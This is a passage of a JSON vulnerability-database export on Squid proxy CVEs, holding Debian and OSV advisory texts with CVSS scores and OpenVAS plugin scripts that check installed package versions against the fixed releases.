Nonce tokens contain the raw byte value of a pointer that sits\n within heap memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory areas to target\n for remote code execution attacks.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.4.8-6+deb8u9.\n\nWe recommend that you upgrade your squid3 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-12-10T15:04:42", "type": "debian", "title": "[SECURITY] [DLA 2028-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2019-12-10T15:04:42", "id": "DEBIAN:DLA-2028-1:AF47A", "href": "https://lists.debian.org/debian-lts-announce/2019/12/msg00011.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-01-25T23:29:41", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4682-1 security@debian.org\nhttps://www.debian.org/security/ Moritz Muehlenhoff\nMay 08, 2020 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : squid\nCVE ID : CVE-2019-12519 CVE-2019-12520 CVE-2019-12521 CVE-2019-12523 \n CVE-2019-12524 CVE-2019-12526 CVE-2019-12528 CVE-2019-18676 \n CVE-2019-18677 CVE-2019-18678 CVE-2019-18679 CVE-2020-8449 \n CVE-2020-8450 CVE-2020-11945\n\nMultiple security issues were discovered in the Squid proxy caching\nserver, which could result in the bypass of security filters, information\ndisclosure, the execution of arbitrary code or denial of service.\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 4.6-1+deb10u2.\n\nWe recommend that you upgrade your squid packages.\n\nFor the detailed security status of squid please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-05-08T19:10:03", "type": "debian", "title": "[SECURITY] [DSA 4682-1] squid security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-05-08T19:10:03", "id": "DEBIAN:DSA-4682-1:5FB04", "href": "https://lists.debian.org/debian-security-announce/2020/msg00086.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-01-24T16:19:44", "description": "- -------------------------------------------------------------------------\nDebian LTS Advisory DLA-2278-1 debian-lts@lists.debian.org\nhttps://www.debian.org/lts/security/ Markus Koschany\nJuly 10, 2020 https://wiki.debian.org/LTS\n- -------------------------------------------------------------------------\n\nPackage : squid3\nVersion : 3.5.23-5+deb9u2\nCVE ID : CVE-2018-19132 CVE-2019-12519 CVE-2019-12520\n CVE-2019-12521 CVE-2019-12523 CVE-2019-12524\n CVE-2019-12525 CVE-2019-12526 CVE-2019-12528\n CVE-2019-12529 CVE-2019-13345 CVE-2019-18676\n CVE-2019-18677 CVE-2019-18678 CVE-2019-18679\n CVE-2019-18860 CVE-2020-8449 CVE-2020-8450\n CVE-2020-11945\nDebian Bug : 950802 931478 950925 912294\n\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\nWe recommend that you upgrade your squid3 packages.\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid3\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-10T21:55:24", "type": "debian", "title": "[SECURITY] [DLA 2278-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-19132", "CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-07-10T21:55:24", "id": "DEBIAN:DLA-2278-1:83AD0", "href": "https://lists.debian.org/debian-lts-announce/2020/07/msg00009.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-22T11:20:59", "description": "- -------------------------------------------------------------------------\nDebian LTS Advisory DLA-2278-1 debian-lts@lists.debian.org\nhttps://www.debian.org/lts/security/ Markus Koschany\nJuly 10, 2020 https://wiki.debian.org/LTS\n- -------------------------------------------------------------------------\n\nPackage : squid3\nVersion : 3.5.23-5+deb9u2\nCVE ID : CVE-2018-19132 CVE-2019-12519 CVE-2019-12520\n CVE-2019-12521 CVE-2019-12523 CVE-2019-12524\n CVE-2019-12525 CVE-2019-12526 CVE-2019-12528\n CVE-2019-12529 CVE-2019-13345 CVE-2019-18676\n CVE-2019-18677 CVE-2019-18678 CVE-2019-18679\n CVE-2019-18860 CVE-2020-8449 CVE-2020-8450\n CVE-2020-11945\nDebian Bug : 950802 931478 950925 912294\n\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\nWe recommend that you upgrade your squid3 packages.\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/squid3\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-10T21:55:24", "type": "debian", "title": "[SECURITY] [DLA 2278-1] squid3 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-19132", "CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2020-07-10T21:55:24", "id": "DEBIAN:DLA-2278-1:4A30F", "href": "https://lists.debian.org/debian-lts-announce/2020/07/msg00009.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2022-07-21T08:17:49", "description": "\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by the following security\nvulnerabilities.\n\n\n* [CVE-2019-12526](https://security-tracker.debian.org/tracker/CVE-2019-12526)\nURN response handling in Squid suffers from a heap-based buffer\n overflow. When receiving data from a remote server in response to\n an URN request, Squid fails to ensure that the response can fit\n within the buffer. This leads to attacker controlled data\n overflowing in the heap.\n* [CVE-2019-18677](https://security-tracker.debian.org/tracker/CVE-2019-18677)\nWhen the append\\_domain setting is used (because the appended\n characters do not properly interact with hostname length\n restrictions), it can inappropriately redirect traffic to origins\n it should not be delivered to. This happens because of incorrect\n message processing.\n* [CVE-2019-18678](https://security-tracker.debian.org/tracker/CVE-2019-18678)\nA programming error allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that splits the HTTP\n Request pipeline differently. The resulting Response messages\n corrupt caches (between a client and Squid) with\n attacker-controlled content at arbitrary URLs. Effects are isolated\n to software between the attacker client and Squid.\n There are no effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing whitespace\n between a header name and a colon.\n* [CVE-2019-18679](https://security-tracker.debian.org/tracker/CVE-2019-18679)\nDue to incorrect data management, Squid is vulnerable to\n information disclosure when processing HTTP Digest Authentication.\n Nonce tokens contain the raw byte value of a pointer that sits\n within heap memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory areas to target\n for remote code execution attacks.\n\n\nFor Debian 8 Jessie, these problems have been fixed in version\n3.4.8-6+deb8u9.\n\n\nWe recommend that you upgrade your squid3 packages.\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-10T00:00:00", "type": "osv", "title": "squid3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12526", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2022-07-21T05:52:56", "id": "OSV:DLA-2028-1", "href": "https://osv.dev/vulnerability/DLA-2028-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T07:15:39", "description": "\nMultiple security issues were discovered in the Squid proxy caching\nserver, which could result in the bypass of security filters, information\ndisclosure, the execution of arbitrary code or denial of service.\n\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 4.6-1+deb10u2.\n\n\nWe recommend that you upgrade your squid packages.\n\n\nFor the detailed security status of squid please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/squid](https://security-tracker.debian.org/tracker/squid)\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-08T00:00:00", "type": "osv", "title": "squid - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2022-08-10T07:15:30", "id": "OSV:DSA-4682-1", "href": "https://osv.dev/vulnerability/DSA-4682-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-05T05:18:51", "description": "\nIt was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\n\n\nFor Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\n\nWe recommend that you upgrade your squid3 packages.\n\n\nFor the detailed security status of squid3 please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/squid3>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-10T00:00:00", "type": "osv", "title": "squid3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-19132", "CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2022-08-05T05:18:49", "id": "OSV:DLA-2278-1", "href": "https://osv.dev/vulnerability/DLA-2278-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2020-01-29T19:29:24", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2019-12-11T00:00:00", "type": "openvas", "title": "Debian LTS: Security Advisory for squid3 (DLA-2028-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18677", "CVE-2019-18678", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2020-01-29T00:00:00", "id": "OPENVAS:1361412562310892028", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892028", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892028\");\n script_version(\"2020-01-29T08:22:52+0000\");\n script_cve_id(\"CVE-2019-12526\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-29 08:22:52 +0000 (Wed, 29 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-12-11 03:00:37 +0000 (Wed, 11 Dec 2019)\");\n script_name(\"Debian LTS: Security Advisory for squid3 (DLA-2028-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2019/12/msg00011.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DLA-2028-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid3'\n package(s) announced via the DLA-2028-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by the following security\nvulnerabilities.\n\nCVE-2019-12526\n\nURN response handling in Squid suffers from a heap-based buffer\noverflow. When receiving data from a remote server in response to\nan URN request, Squid fails to ensure that the response can fit\nwithin the buffer. This leads to attacker controlled data\noverflowing in the heap.\n\nCVE-2019-18677\n\nWhen the append_domain setting is used (because the appended\ncharacters do not properly interact with hostname length\nrestrictions), it can inappropriately redirect traffic to origins\nit should not be delivered to. This happens because of incorrect\nmessage processing.\n\nCVE-2019-18678\n\nA programming error allows attackers to smuggle HTTP requests\nthrough frontend software to a Squid instance that splits the HTTP\nRequest pipeline differently. The resulting Response messages\ncorrupt caches (between a client and Squid) with\nattacker-controlled content at arbitrary URLs. Effects are isolated\nto software between the attacker client and Squid.\nThere are no effects on Squid itself, nor on any upstream servers.\nThe issue is related to a request header containing whitespace\nbetween a header name and a colon.\n\nCVE-2019-18679\n\nDue to incorrect data management, Squid is vulnerable to\ninformation disclosure when processing HTTP Digest Authentication.\nNonce tokens contain the raw byte value of a pointer that sits\nwithin heap memory allocation. This information reduces ASLR\nprotections and may aid attackers isolating memory areas to target\nfor remote code execution attacks.\");\n\n script_tag(name:\"affected\", value:\"'squid3' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', these problems have been fixed in version\n3.4.8-6+deb8u9.\n\nWe recommend that you upgrade your squid3 packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"squid-cgi\", ver:\"3.4.8-6+deb8u9\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-purge\", ver:\"3.4.8-6+deb8u9\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid3\", ver:\"3.4.8-6+deb8u9\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid3-common\", ver:\"3.4.8-6+deb8u9\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid3-dbg\", ver:\"3.4.8-6+deb8u9\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squidclient\", ver:\"3.4.8-6+deb8u9\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-12-17T14:35:25", "description": "Squid is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-11-27T00:00:00", "type": "openvas", "title": "Squid Proxy Cache Multiple Security Update Advisories (SQUID-2019:7, SQUID-2019:8, SQUID-2019:10)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-12526"], "modified": "2019-11-27T00:00:00", "id": "OPENVAS:1361412562310143190", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310143190", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = \"cpe:/a:squid-cache:squid\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.143190\");\n script_version(\"2019-11-27T07:04:41+0000\");\n script_tag(name:\"last_modification\", value:\"2019-11-27 07:04:41 +0000 (Wed, 27 Nov 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-11-27 06:37:52 +0000 (Wed, 27 Nov 2019)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n\n script_cve_id(\"CVE-2019-12526\", \"CVE-2019-18678\", \"CVE-2019-12523\", \"CVE-2019-18676\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner_unreliable\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_name(\"Squid Proxy Cache Multiple Security Update Advisories (SQUID-2019:7, SQUID-2019:8, SQUID-2019:10)\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"secpod_squid_detect.nasl\");\n script_mandatory_keys(\"squid_proxy_server/installed\");\n\n script_tag(name:\"summary\", value:\"Squid is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"insight\", value:\"Squid is prone to multiple vulnerabilities:\n\n - Heap Overflow issue in URN processing (CVE-2019-12526)\n\n - Multiple issues in URI processing (CVE-2019-18678, CVE-2019-18676)\n\n - HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"affected\", value:\"Squid versions 3.0 - 3.5.28 and 4.x - 4.8.\");\n\n script_tag(name:\"solution\", value:\"Update to version 4.9 or later.\");\n\n script_xref(name:\"URL\", value:\"http://www.squid-cache.org/Advisories/SQUID-2019_7.txt\");\n script_xref(name:\"URL\", value:\"http://www.squid-cache.org/Advisories/SQUID-2019_8.txt\");\n script_xref(name:\"URL\", value:\"http://www.squid-cache.org/Advisories/SQUID-2019_10.txt\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!version = get_app_version(cpe: CPE, port: port))\n exit(0);\n\nif (version_in_range(version: version, test_version: \"3.0\", test_version2: \"3.5.28\") ||\n version_in_range(version: version, test_version: \"4.0\", test_version2: \"4.8\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"4.9\");\n security_message(port: port, data: report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-02-26T16:45:16", "description": "The remote host is missing an update for the Huawei EulerOS\n ", "cvss3": {}, "published": "2020-02-24T00:00:00", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for squid (EulerOS-SA-2020-1133)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-18677", "CVE-2019-12523", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2020-02-24T00:00:00", "id": "OPENVAS:1361412562311220201133", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220201133", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2020.1133\");\n script_version(\"2020-02-24T09:07:23+0000\");\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12526\", 